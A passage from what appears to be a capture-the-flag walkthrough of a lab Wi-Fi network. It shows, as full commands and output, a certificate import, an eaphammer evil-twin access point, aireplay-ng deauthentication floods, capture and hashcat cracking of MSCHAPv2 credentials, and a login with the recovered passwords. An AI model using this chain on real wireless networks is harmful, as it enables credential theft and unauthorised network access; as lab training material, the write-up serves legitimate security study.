15: wlan8: &lt;BROADCAST,MULTICAST,UP,LOWER_UP&gt; mtu 1500 qdisc mq state UP group default qlen 1000
    link/ether 3e:16:e6:e4:3c:72 brd ff:ff:ff:ff:ff:ff
    inet 192.168.4.1/24 scope global wlan8
       valid_lft forever preferred_lft forever
    inet6 fe80::3c16:e6ff:fee4:3c72/64 scope link 
       valid_lft forever preferred_lft forever
16: wlan9: &lt;BROADCAST,MULTICAST,UP,LOWER_UP&gt; mtu 1500 qdisc mq state UP group default qlen 1000
    link/ether 92:52:98:67:66:19 brd ff:ff:ff:ff:ff:ff
    inet 192.168.5.1/24 scope global wlan9
       valid_lft forever preferred_lft forever
    inet6 fe80::9052:98ff:fe67:6619/64 scope link 
       valid_lft forever preferred_lft forever
17: wlan10: &lt;BROADCAST,MULTICAST,UP,LOWER_UP&gt; mtu 1500 qdisc mq state UP group default qlen 1000
    link/ether 8a:68:3a:d6:eb:29 brd ff:ff:ff:ff:ff:ff
    inet 192.168.6.1/24 scope global wlan10
       valid_lft forever preferred_lft forever
    inet6 fe80::8868:3aff:fed6:eb29/64 scope link 
       valid_lft forever preferred_lft forever
18: wlan11: &lt;BROADCAST,MULTICAST,UP,LOWER_UP&gt; mtu 1500 qdisc mq state UP group default qlen 1000
    link/ether f2:2a:26:a4:0b:29 brd ff:ff:ff:ff:ff:ff
    inet 192.168.7.1/24 scope global wlan11
       valid_lft forever preferred_lft forever
    inet6 fe80::f02a:26ff:fea4:b29/64 scope link 
       valid_lft forever preferred_lft forever
</span></code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">certs-backup</code> has the CA and server certificates:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">root@AirTouch-AP-PSK:~#</span><span class="w"> </span><span class="nb">ls </span>certs-backup/
<span class="go">ca.conf  ca.crt  server.conf  server.crt  server.csr  server.ext  server.key
</span></code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">ca.key</code> is missing. With that, I could sign my own client cert and authenticate to the access point.</p>

<h3 id="recover-password-w-evil-twin">Recover Password w/ Evil Twin</h3>

<h4 id="strategy-1">Strategy</h4>

<p>With the CA certificate (<code class="language-plaintext highlighter-rouge">ca.crt</code>) and the server’s certificate (<code class="language-plaintext highlighter-rouge">server.crt</code>) and key (<code class="language-plaintext highlighter-rouge">server.key</code>), I can stand up a legitimate looking evil twin of AirTouch-Office and capture the authentication flow. Without this cryptographic material, the client won’t get far enough in a connection to reveal anything.</p>

<p>At this point, I don’t know the exact configuration for the network and how it’s handling authentication. Some possible algorithms:</p>

<ul>
  <li>EAP-TLS:  Mutual auth requires the client to have its own certificate + private key. The client presents its cert (which can be captured) but proves possession of the private key without sending it. So evil twin reveals client identities and cert chains, but without the private key you can’t use that cert to authenticate yourself, leaving the attack with recon value only.</li>
  <li>PEAP-MSCHAPv2 or EAP-TTLS-MSCHAPv2: In these cases, the client sends a challenge/response inside the TLS tunnel that can be dumped and cracked offline to recover a user’s password.</li>
  <li>PEAP-GTC / TTLS-PAP: Here the user’s plaintext password is sent over a TLS tunnel.</li>
</ul>

<p>If either of the latter methods are in use, I can get authentication material. I could do monitoring on the AirTouch-Office channel to identify the algorithm, but it’s just as fast to just do the Evil Twin attack and see what comes back.</p>

<h4 id="collect-data">Collect Data</h4>

<p>To start the attack, I’ll need some data. I’ll copy the certificate information from AirTouch-AP-PSK over to the consultant box:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">root@AirTouch-AP-PSK:~#</span><span class="w"> </span>scp certs-backup/<span class="k">*</span> consultant@192.168.3.84:~/
<span class="go">The authenticity of host '192.168.3.84 (192.168.3.84)' can't be established.
ECDSA key fingerprint is SHA256:RNSulmHvYvAQ2qGrTB9aiv48odVoupHVDFEeI6PS4j0.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.3.84' (ECDSA) to the list of known hosts.
consultant@192.168.3.84's password: 
ca.conf                                        100% 1124   229.7KB/s   00:00    
ca.crt                                         100% 1712     1.8MB/s   00:00    
server.conf                                    100% 1111   563.3KB/s   00:00    
server.crt                                     100% 1493     1.6MB/s   00:00    
server.csr                                     100% 1033   712.4KB/s   00:00    
server.ext                                     100%  168   131.5KB/s   00:00    
server.key                                     100% 1704     2.8MB/s   00:00 
</span></code></pre></div></div>

<p>I’ll import those into <code class="language-plaintext highlighter-rouge">eaphammer</code> using the <code class="language-plaintext highlighter-rouge">--cert-wizard</code> option:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">root@AirTouch-Consultant:~/eaphammer#</span><span class="w"> </span>./eaphammer <span class="nt">--cert-wizard</span> import <span class="nt">--server-cert</span> /home/consultant/server.crt <span class="nt">--ca-cert</span> /home/consultant/ca.crt <span class="nt">--private-key</span> /home/consultant/server.key 
<span class="go">
                     .__                                         
  ____ _____  ______ |  |__ _____    _____   _____   ___________ 
_/ __ \\__  \ \____ \|  |  \\__  \  /     \ /     \_/ __ \_  __ \
\  ___/ / __ \|  |_&gt; &gt;   Y  \/ __ \|  Y Y  \  Y Y  \  ___/|  | \/
 \___  &gt;____  /   __/|___|  (____  /__|_|  /__|_|  /\___  &gt;__|   
     \/     \/|__|        \/     \/      \/      \/     \/       


                        Now with more fast travel than a next-gen Bethesda game. &gt;:D

                             Version:  1.14.0
                            Codename:  Final Frontier
                              Author:  @s0lst1c3
                             Contact:  gabriel&lt;&lt;at&gt;&gt;transmitengage.com

    
[?] Am I root?
[*] Checking for rootness...
[*] I AM ROOOOOOOOOOOOT
[*] Root privs confirmed! 8D
Case 1: Import all separate
[CW] Ensuring server cert, CA cert, and private key are valid...
/home/consultant/server.crt
/home/consultant/server.key
/home/consultant/ca.crt
[CW] Complete!
[CW] Loading private key from /home/consultant/server.key
[CW] Complete!
[CW] Loading server cert from /home/consultant/server.crt
[CW] Complete!
[CW] Loading CA certificate chain from /home/consultant/ca.crt
[CW] Complete!
[CW] Constructing full certificate chain with integrated key...
[CW] Complete!
[CW] Writing private key and full certificate chain to file...
[CW] Complete!
[CW] Private key and full certificate chain written to: /root/eaphammer/certs/server/AirTouch CA.pem
[CW] Activating full certificate chain...
[CW] Complete!
</span></code></pre></div></div>

<p>I’ll also need to know the channel and MAC addresses of the <code class="language-plaintext highlighter-rouge">AirTouch-Office</code> APs, which I collected earlier:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">root@AirTouch-Consultant:/#</span><span class="w"> </span>iwlist wlan0 scan | <span class="nb">grep</span> <span class="nt">-e</span> ESSID <span class="nt">-e</span> Frequency <span class="nt">-e</span> Address
<span class="go">...[snip]...
          Cell 06 - Address: AC:8B:A9:AA:3F:D2
                    Frequency:5.22 GHz (Channel 44)
                    ESSID:"AirTouch-Office"
          Cell 07 - Address: AC:8B:A9:F3:A1:13
                    Frequency:5.22 GHz (Channel 44)
                    ESSID:"AirTouch-Office"
</span></code></pre></div></div>

<p>Both are on channel 44, and there are two distinct MACs.</p>

<h4 id="capture-challenge-response">Capture Challenge Response</h4>

<p>I’ll start <code class="language-plaintext highlighter-rouge">eaphammer</code> on a previously unused interface impersonating <code class="language-plaintext highlighter-rouge">AirTouch-Office</code>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">root@AirTouch-Consultant:~/eaphammer#</span><span class="w"> </span>./eaphammer <span class="nt">-i</span> wlan4 <span class="nt">--auth</span> wpa-eap <span class="nt">--essid</span> AirTouch-Office
<span class="go">
                     .__
  ____ _____  ______ |  |__ _____    _____   _____   ___________
_/ __ \\__  \ \____ \|  |  \\__  \  /     \ /     \_/ __ \_  __ \
\  ___/ / __ \|  |_&gt; &gt;   Y  \/ __ \|  Y Y  \  Y Y  \  ___/|  | \/
 \___  &gt;____  /   __/|___|  (____  /__|_|  /__|_|  /\___  &gt;__|
     \/     \/|__|        \/     \/      \/      \/     \/


                        Now with more fast travel than a next-gen Bethesda game. &gt;:D

                             Version:  1.14.0
                            Codename:  Final Frontier
                              Author:  @s0lst1c3
                             Contact:  gabriel&lt;&lt;at&gt;&gt;transmitengage.com


[?] Am I root?
[*] Checking for rootness...
[*] I AM ROOOOOOOOOOOOT
[*] Root privs confirmed! 8D
[*] Saving current iptables configuration...
[*] Reticulating radio frequency splines...
Error: Could not create NMClient object: Could not connect: No such file or directory.

[*] Using nmcli to tell NetworkManager not to manage wlan4...

100%|████████████████████████████████████████████████████████████████████████████████████████████████████| 1/1 [00:01&lt;00:00,  1.00s/it]

[*] Success: wlan4 no longer controlled by NetworkManager.
[*] WPA handshakes will be saved to /root/eaphammer/loot/wpa_handshake_capture-2026-04-12-20-50-49-AYtRAd9tEFIzZMAhvq7SJX5865RvbB0x.hccapx

[hostapd] AP starting...

Configuration file: /root/eaphammer/tmp/hostapd-2026-04-12-20-50-49-UBlBLJgkx1dljXQQHbkeoVZnIGUxBBlQ.conf
rfkill: Cannot open RFKILL control device
wlan4: interface state UNINITIALIZED-&gt;COUNTRY_UPDATE
Using interface wlan4 with hwaddr 00:11:22:33:44:00 and ssid "AirTouch-Office"
wlan4: interface state COUNTRY_UPDATE-&gt;ENABLED
wlan4: AP-ENABLED


Press enter to quit...
</span></code></pre></div></div>

<p>It hangs, waiting for an authentication attempt. In another shell, I’ll use a new interface in monitoring mode to send deauth messages to both APs:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">root@AirTouch-Consultant:~#</span><span class="w"> </span>iw dev wlan5 <span class="nb">set type </span>monitor
<span class="gp">root@AirTouch-Consultant:~#</span><span class="w"> </span>ip <span class="nb">link set </span>wlan5 up
<span class="gp">root@AirTouch-Consultant:~#</span><span class="w"> </span>iw dev wlan5 <span class="nb">set </span>channel 44
<span class="gp">root@AirTouch-Consultant:~#</span><span class="w"> </span>aireplay-ng <span class="nt">-0</span> 10 <span class="nt">-a</span> AC:8B:A9:AA:3F:D2 wlan5<span class="p">;</span> aireplay-ng <span class="nt">-0</span> 10 <span class="nt">-a</span> AC:8B:A9:F3:A1:13 wlan5
<span class="go">20:59:27  Waiting for beacon frame (BSSID: AC:8B:A9:AA:3F:D2) on channel 44
NB: this attack is more effective when targeting
a connected wireless client (-c &lt;client's mac&gt;).
20:59:27  Sending DeAuth (code 7) to broadcast -- BSSID: [AC:8B:A9:AA:3F:D2]
20:59:28  Sending DeAuth (code 7) to broadcast -- BSSID: [AC:8B:A9:AA:3F:D2]
20:59:28  Sending DeAuth (code 7) to broadcast -- BSSID: [AC:8B:A9:AA:3F:D2]
20:59:29  Sending DeAuth (code 7) to broadcast -- BSSID: [AC:8B:A9:AA:3F:D2]
20:59:29  Sending DeAuth (code 7) to broadcast -- BSSID: [AC:8B:A9:AA:3F:D2]
20:59:30  Sending DeAuth (code 7) to broadcast -- BSSID: [AC:8B:A9:AA:3F:D2]
20:59:30  Sending DeAuth (code 7) to broadcast -- BSSID: [AC:8B:A9:AA:3F:D2]
20:59:30  Sending DeAuth (code 7) to broadcast -- BSSID: [AC:8B:A9:AA:3F:D2]
20:59:31  Sending DeAuth (code 7) to broadcast -- BSSID: [AC:8B:A9:AA:3F:D2]
20:59:31  Sending DeAuth (code 7) to broadcast -- BSSID: [AC:8B:A9:AA:3F:D2]
20:59:32  Waiting for beacon frame (BSSID: AC:8B:A9:F3:A1:13) on channel 44
NB: this attack is more effective when targeting
a connected wireless client (-c &lt;client's mac&gt;).
20:59:32  Sending DeAuth (code 7) to broadcast -- BSSID: [AC:8B:A9:F3:A1:13]
20:59:32  Sending DeAuth (code 7) to broadcast -- BSSID: [AC:8B:A9:F3:A1:13]
20:59:33  Sending DeAuth (code 7) to broadcast -- BSSID: [AC:8B:A9:F3:A1:13]
20:59:33  Sending DeAuth (code 7) to broadcast -- BSSID: [AC:8B:A9:F3:A1:13]
20:59:34  Sending DeAuth (code 7) to broadcast -- BSSID: [AC:8B:A9:F3:A1:13]
20:59:34  Sending DeAuth (code 7) to broadcast -- BSSID: [AC:8B:A9:F3:A1:13]
20:59:35  Sending DeAuth (code 7) to broadcast -- BSSID: [AC:8B:A9:F3:A1:13]
20:59:35  Sending DeAuth (code 7) to broadcast -- BSSID: [AC:8B:A9:F3:A1:13]
20:59:36  Sending DeAuth (code 7) to broadcast -- BSSID: [AC:8B:A9:F3:A1:13]
20:59:36  Sending DeAuth (code 7) to broadcast -- BSSID: [AC:8B:A9:F3:A1:13]
</span></code></pre></div></div>

<p>While that’s running, I get authentication at <code class="language-plaintext highlighter-rouge">eaphammer</code>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="go">Press enter to quit...

wlan4: STA 28:6c:07:12:ee:f3 IEEE 802.11: authenticated
wlan4: STA 28:6c:07:12:ee:f3 IEEE 802.11: associated (aid 1)
wlan4: CTRL-EVENT-EAP-STARTED 28:6c:07:12:ee:f3
wlan4: CTRL-EVENT-EAP-PROPOSED-METHOD vendor=0 method=1
wlan4: CTRL-EVENT-EAP-PROPOSED-METHOD vendor=0 method=25


mschapv2: Sun Apr 12 20:59:32 2026
         domain\username:               AirTouch\r4ulcl
         username:                      r4ulcl
         challenge:                     a2:3d:68:e5:dc:dc:cb:a1
         response:                      34:ee:c9:f8:ba:ce:de:bb:c8:2e:e2:b8:73:d5:96:df:de:89:20:a5:c7:3d:9f:ed

         jtr NETNTLM:                   r4ulcl:$NETNTLM$a23d68e5dcdccba1$34eec9f8bacedebbc82ee2b873d596dfde8920a5c73d9fed

         hashcat NETNTLM:               r4ulcl::::34eec9f8bacedebbc82ee2b873d596dfde8920a5c73d9fed:a23d68e5dcdccba1


wlan4: CTRL-EVENT-EAP-FAILURE 28:6c:07:12:ee:f3
wlan4: STA 28:6c:07:12:ee:f3 IEEE 802.1X: authentication failed - EAP type: 0 (unknown)
wlan4: STA 28:6c:07:12:ee:f3 IEEE 802.1X: Supplicant used different EAP type: 25 (PEAP)
wlan4: STA 28:6c:07:12:ee:f3 IEEE 802.11: deauthenticated due to local deauth request
wlan4: STA 28:6c:07:12:ee:f3 IEEE 802.11: authenticated
wlan4: STA 28:6c:07:12:ee:f3 IEEE 802.11: associated (aid 1)
wlan4: CTRL-EVENT-EAP-STARTED 28:6c:07:12:ee:f3
wlan4: CTRL-EVENT-EAP-PROPOSED-METHOD vendor=0 method=1
wlan4: CTRL-EVENT-EAP-PROPOSED-METHOD vendor=0 method=25


mschapv2: Sun Apr 12 20:59:45 2026
         domain\username:               AirTouch\r4ulcl
         username:                      r4ulcl
         challenge:                     18:0b:04:4b:d3:9a:62:ec
         response:                      a1:c8:30:70:07:69:a6:67:fc:2b:24:c1:61:43:0d:90:2e:e9:e1:92:a6:83:d0:6f

         jtr NETNTLM:                   r4ulcl:$NETNTLM$180b044bd39a62ec$a1c830700769a667fc2b24c161430d902ee9e192a683d06f

         hashcat NETNTLM:               r4ulcl::::a1c830700769a667fc2b24c161430d902ee9e192a683d06f:180b044bd39a62ec


wlan4: CTRL-EVENT-EAP-FAILURE 28:6c:07:12:ee:f3
wlan4: STA 28:6c:07:12:ee:f3 IEEE 802.1X: authentication failed - EAP type: 0 (unknown)
wlan4: STA 28:6c:07:12:ee:f3 IEEE 802.1X: Supplicant used different EAP type: 25 (PEAP)
wlan4: STA 28:6c:07:12:ee:f3 IEEE 802.11: deauthenticated due to local deauth request
</span></code></pre></div></div>

<h4 id="crack-challenge-response">Crack Challenge Response</h4>

<p>The MSCHAPv2 challenge/response in a PEAP-MSCHAPv2 exchange is mathematically identical to a NetNTLMv1 challenge/response, so the captured material can be cracked offline as a NetNTLMv1 hash. I’ll save the “hashcat NETNTLM” output to a file and pass it to <code class="language-plaintext highlighter-rouge">hashcat</code>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">$ </span>hashcat ./AirTouch-Office.hash rockyou.txt                    
<span class="go">hashcat (v7.1.2) starting in autodetect mode
...[snip]...
Hash-mode was not specified with -m. Attempting to auto-detect hash mode.    
The following mode was auto-detected as the only one matching your input hash:

5500 | NetNTLMv1 / NetNTLMv1+ESS | Network Protocol   
...[snip]...
r4ulcl::::a1c830700769a667fc2b24c161430d902ee9e192a683d06f:180b044bd39a62ec:laboratory
...[snip]...
</span></code></pre></div></div>

<p>It identifies the hash format and cracks it from <code class="language-plaintext highlighter-rouge">rockyou.txt</code> in less than 10 seconds on my computer.</p>

<h3 id="connect-to-airtouch-office">Connect to AirTouch-Office</h3>

<p>I’ll create a <code class="language-plaintext highlighter-rouge">airtouch-office.conf</code> file:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">network</span><span class="o">=</span><span class="p">{</span>
    <span class="n">ssid</span><span class="o">=</span><span class="sh">"</span><span class="s">AirTouch-Office</span><span class="sh">"</span>
    <span class="n">key_mgmt</span><span class="o">=</span><span class="n">WPA</span><span class="o">-</span><span class="n">EAP</span>
    <span class="n">eap</span><span class="o">=</span><span class="n">PEAP</span>
    <span class="n">identity</span><span class="o">=</span><span class="sh">"</span><span class="s">AirTouch</span><span class="se">\r</span><span class="s">4ulcl</span><span class="sh">"</span>
    <span class="n">password</span><span class="o">=</span><span class="sh">"</span><span class="s">laboratory</span><span class="sh">"</span>
    <span class="n">phase2</span><span class="o">=</span><span class="sh">"</span><span class="s">auth=MSCHAPV2</span><span class="sh">"</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Now use <code class="language-plaintext highlighter-rouge">wpa_supplicant</code> to connect:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">root@AirTouch-Consultant:~#</span><span class="w"> </span>wpa_supplicant <span class="nt">-i</span> wlan6 <span class="nt">-c</span> ./airtouch-office.conf 
<span class="go">Successfully initialized wpa_supplicant
rfkill: Cannot open RFKILL control device
rfkill: Cannot get wiphy information
nl80211: Could not set interface 'p2p-dev-wlan6' UP
nl80211: deinit ifname=p2p-dev-wlan6 disabled_11b_rates=0
p2p-dev-wlan6: Failed to initialize driver interface
P2P: Failed to enable P2P Device interface
wlan6: SME: Trying to authenticate with ac:8b:a9:aa:3f:d2 (SSID='AirTouch-Office' freq=5220 MHz)
wlan6: Trying to associate with ac:8b:a9:aa:3f:d2 (SSID='AirTouch-Office' freq=5220 MHz)
wlan6: Associated with ac:8b:a9:aa:3f:d2
wlan6: CTRL-EVENT-SUBNET-STATUS-UPDATE status=0
wlan6: CTRL-EVENT-EAP-STARTED EAP authentication started
wlan6: CTRL-EVENT-EAP-PROPOSED-METHOD vendor=0 method=25
wlan6: CTRL-EVENT-EAP-METHOD EAP vendor 0 method 25 (PEAP) selected
wlan6: CTRL-EVENT-EAP-PEER-CERT depth=1 subject='/C=ES/ST=Madrid/L=Madrid/O=AirTouch/OU=Certificate Authority/CN=AirTouch CA/emailAddress=ca@AirTouch.htb' hash=222a7dd4d28c97c8e4730762fa9a102af05c7d56b35279b2f5ee4da7ddf918a8
wlan6: CTRL-EVENT-EAP-PEER-CERT depth=0 subject='/C=ES/L=Madrid/O=AirTouch/OU=Server/CN=AirTouch CA/emailAddress=server@AirTouch.htb' hash=ef39f3fff0883db7fc8a535c52f80509fc395e9889061e209102307b46995864
EAP-MSCHAPV2: Authentication succeeded
wlan6: CTRL-EVENT-EAP-SUCCESS EAP authentication completed successfully
wlan6: PMKSA-CACHE-ADDED ac:8b:a9:aa:3f:d2 0
wlan6: WPA: Key negotiation completed with ac:8b:a9:aa:3f:d2 [PTK=CCMP GTK=CCMP]
wlan6: CTRL-EVENT-CONNECTED - Connection to ac:8b:a9:aa:3f:d2 completed [id=0 id_str=]
</span></code></pre></div></div>

<p>This just hangs, but I can ctrl-z then <code class="language-plaintext highlighter-rouge">bg</code> to let it run in the background or use another terminal. <code class="language-plaintext highlighter-rouge">iw</code> can verify it’s connected:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">root@AirTouch-Consultant:~#</span><span class="w"> </span>iw dev wlan6 <span class="nb">link</span>
<span class="go">Connected to ac:8b:a9:aa:3f:d2 (on wlan6)
        SSID: AirTouch-Office
        freq: 5220
        RX: 118531 bytes (1613 packets)
        TX: 1885 bytes (38 packets)
        signal: -30 dBm
        rx bitrate: 6.0 MBit/s
        tx bitrate: 54.0 MBit/s

        bss flags:      short-slot-time
        dtim period:    2
        beacon int:     100
</span></code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">dhclient</code> will get an IP:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">root@AirTouch-Consultant:~#</span><span class="w"> </span>dhclient <span class="nt">-v</span> wlan6
<span class="go">Internet Systems Consortium DHCP Client 4.4.1
Copyright 2004-2018 Internet Systems Consortium.
All rights reserved.
For info, please visit https://www.isc.org/software/dhcp/

Listening on LPF/wlan6/02:00:00:00:06:00
Sending on   LPF/wlan6/02:00:00:00:06:00
Sending on   Socket/fallback
DHCPDISCOVER on wlan6 to 255.255.255.255 port 67 interval 3 (xid=0x8eafc62c)
DHCPDISCOVER on wlan6 to 255.255.255.255 port 67 interval 7 (xid=0x8eafc62c)
DHCPOFFER of 10.10.10.38 from 10.10.10.1
DHCPREQUEST for 10.10.10.38 on wlan6 to 255.255.255.255 port 67 (xid=0x2cc6af8e)
DHCPACK of 10.10.10.38 from 10.10.10.1 (xid=0x8eafc62c)
bound to 10.10.10.38 -- renewal in 429204 seconds.
</span><span class="gp">root@AirTouch-Consultant:~#</span><span class="w"> </span>ip addr show wlan6
<span class="go">13: wlan6: &lt;BROADCAST,MULTICAST,UP,LOWER_UP&gt; mtu 1500 qdisc mq state UP group default qlen 1000
    link/ether 02:00:00:00:06:00 brd ff:ff:ff:ff:ff:ff
    inet 10.10.10.38/24 brd 10.10.10.255 scope global dynamic wlan6
       valid_lft 863006sec preferred_lft 863006sec
    inet6 fe80::ff:fe00:600/64 scope link 
       valid_lft forever preferred_lft forever
</span></code></pre></div></div>

<h3 id="ssh">SSH</h3>

<p>I’ll use the creds collected earlier to connect over SSH (either from AirTouch-Consultant or over <code class="language-plaintext highlighter-rouge">proxychains</code>):</p>

<div class="language-console sshpass-disclaimer highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>proxychains sshpass <span class="nt">-p</span> xGgWEwqUpfoOVsLeROeG ssh remote@10.10.10.1
<span class="go">[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  10.10.10.1:22  ...  OK
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-216-generic x86_64)
...[snip]...
</span><span class="gp">remote@AirTouch-AP-MGT:~$</span><span class="w">
</span></code></pre></div></div>

<h2 id="shell-as-rootairtouch-ap-mgt">Shell as root@AirTouch-AP-MGT</h2>

<h3 id="enumeration-3">Enumeration</h3>

<h4 id="users-1">Users</h4>

<p>The remote user’s home directory is very empty:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">remote@AirTouch-AP-MGT:~$</span><span class="w"> </span><span class="nb">ls</span> <span class="nt">-la</span>
<span class="go">total 36
drwxr-xr-x 1 remote remote 4096 Apr 13 01:32 .
drwxr-xr-x 1 root   root   4096 Jan 13 14:55 ..
-rw-rw-r-- 1 remote remote    1 Nov 24  2024 .bash_history
-rw-r--r-- 1 remote remote  220 Feb 25  2020 .bash_logout
-rw-r--r-- 1 remote remote 3771 Feb 25  2020 .bashrc
drwx------ 2 remote remote 4096 Apr 13 01:32 .cache
-rw-r--r-- 1 remote remote  807 Feb 25  2020 .profile
</span></code></pre></div></div>

<p>There’s one additional user with a home directory in <code class="language-plaintext highlighter-rouge">/home</code>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">remote@AirTouch-AP-MGT:/home$</span><span class="w"> </span><span class="nb">ls</span>
<span class="go">admin  remote
</span></code></pre></div></div>

<p>This is consistent with the users with shells set in <code class="language-plaintext highlighter-rouge">passwd</code>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">remote@AirTouch-AP-MGT:/$</span><span class="w"> </span><span class="nb">cat</span> /etc/passwd | <span class="nb">grep</span> <span class="s1">'sh$'</span>
<span class="go">root:x:0:0:root:/root:/bin/bash
remote:x:1000:1000::/home/remote:/bin/bash
admin:x:1001:1001::/home/admin:/bin/bash
</span></code></pre></div></div>

<p>remote can access <code class="language-plaintext highlighter-rouge">/home/admin</code>, and it’s empty as well:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">remote@AirTouch-AP-MGT:/home/admin$</span><span class="w"> </span><span class="nb">ls</span> <span class="nt">-la</span>
<span class="go">total 28
drwxr-xr-x 1 admin admin 4096 Jan 13 14:55 .
drwxr-xr-x 1 root  root  4096 Jan 13 14:55 ..
-rw-rw-r-- 1 admin admin    1 Nov 24  2024 .bash_history
-rw-r--r-- 1 admin admin  220 Feb 25  2020 .bash_logout
-rw-r--r-- 1 admin admin 3771 Feb 25  2020 .bashrc
-rw-r--r-- 1 admin admin  807 Feb 25  2020 .profile
</span></code></pre></div></div>

<p>remote cannot run <code class="language-plaintext highlighter-rouge">sudo</code> on AirTouch-AP-MGT:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">remote@AirTouch-AP-MGT:/home/admin$</span><span class="w"> </span><span class="nb">sudo</span> <span class="nt">-l</span>
<span class="go">[sudo] password for remote: 
Sorry, user remote may not run sudo on AirTouch-AP-MGT.
</span></code></pre></div></div>

<h4 id="processes">Processes</h4>

<p>The only listening services are SSH and DNS:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">remote@AirTouch-AP-MGT:/$</span><span class="w"> </span>netstat <span class="nt">-tnl</span>
<span class="go">Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State      
tcp        0      0 0.0.0.0:53              0.0.0.0:*               LISTEN     
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN     
tcp6       0      0 :::53                   :::*                    LISTEN     
tcp6       0      0 :::22                   :::*                    LISTEN  
</span></code></pre></div></div>

<p>The process list is very short (likely because we’re in a Docker container):</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">remote@AirTouch-AP-MGT:/$</span><span class="w"> </span>ps auxww
<span class="go">USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root           1  0.0  0.0   2608   596 ?        Ss   Apr10   0:00 /bin/sh -c service ssh start &amp;&amp; tail -f /dev/null
root          15  0.0  0.1  12188  4180 ?        Ss   Apr10   0:35 sshd: /usr/sbin/sshd [listener] 0 of 10-100 startups
root          16  0.0  0.0   2544   512 ?        S    Apr10   0:23 tail -f /dev/null
root          28  0.0  0.0   3976  3076 ?        Ss   Apr10   0:00 bash /root/start.sh
root          45  0.1  0.1  10624  7972 ?        S    Apr10   5:27 hostapd_aps /root/mgt/hostapd_wpe.conf
root          46  0.1  0.1  10640  8024 ?        S    Apr10   5:37 hostapd_aps /root/mgt/hostapd_wpe2.conf
root          63  0.0  0.0   9300  3788 ?        S    Apr10   0:00 dnsmasq -d
root      624537  0.0  0.2  13912  8972 ?        Ss   01:32   0:00 sshd: remote [priv]
remote    624548  0.0  0.1  13912  5312 ?        S    01:32   0:00 sshd: remote@pts/0
remote    624549  0.0  0.1   5992  4024 pts/0    Ss   01:32   0:00 -bash
remote    732988  0.0  0.0   7644  3200 pts/0    R+   11:00   0:00 ps auxww
</span></code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">dnsmasq</code>, an open-source <a href="https://en.wikipedia.org/wiki/Dnsmasq">DNS Server</a>, explains why the host is listening on port 53.</p>

<h4 id="hostapd">hostapd</h4>

<p><code class="language-plaintext highlighter-rouge">hostapd_aps</code> is also running with two different config files. <code class="language-plaintext highlighter-rouge">hostapd</code> <a href="https://w1.fi/hostapd/">defines itself</a> as:</p>

<blockquote>
  <p>hostapd is a user space daemon for access point and authentication servers. It implements IEEE 802.11 access point management, IEEE 802.1X/WPA/WPA2/WPA3/EAP Authenticators, RADIUS client, EAP server, and RADIUS authentication server. The current version supports Linux (Host AP, madwifi, mac80211-based drivers) and FreeBSD (net80211).</p>
</blockquote>

<p><code class="language-plaintext highlighter-rouge">hostapd_aps</code> is not a well known binary name. Running it with <code class="language-plaintext highlighter-rouge">-v</code> shows the standard <code class="language-plaintext highlighter-rouge">hostapd</code> banner:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">remote@AirTouch-AP-MGT:/$</span><span class="w"> </span>hostapd_aps <span class="nt">-v</span>
<span class="go">hostapd v2.9
User space daemon for IEEE 802.11 AP management,
IEEE 802.1X/WPA/WPA2/EAP/RADIUS Authenticator
Copyright (c) 2002-2019, Jouni Malinen &lt;j@w1.fi&gt; and contributors
</span></code></pre></div></div>

<p>There could still be changes in the code, but it’s at least based on or trying to look like <code class="language-plaintext highlighter-rouge">hostapd</code>.</p>

<p>I can’t access either of the running config files as they are in <code class="language-plaintext highlighter-rouge">/root</code>. There are config files in <code class="language-plaintext highlighter-rouge">/etc/hostapd</code>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">remote@AirTouch-AP-MGT:/$</span><span class="w"> </span><span class="nb">ls</span> /etc/hostapd/
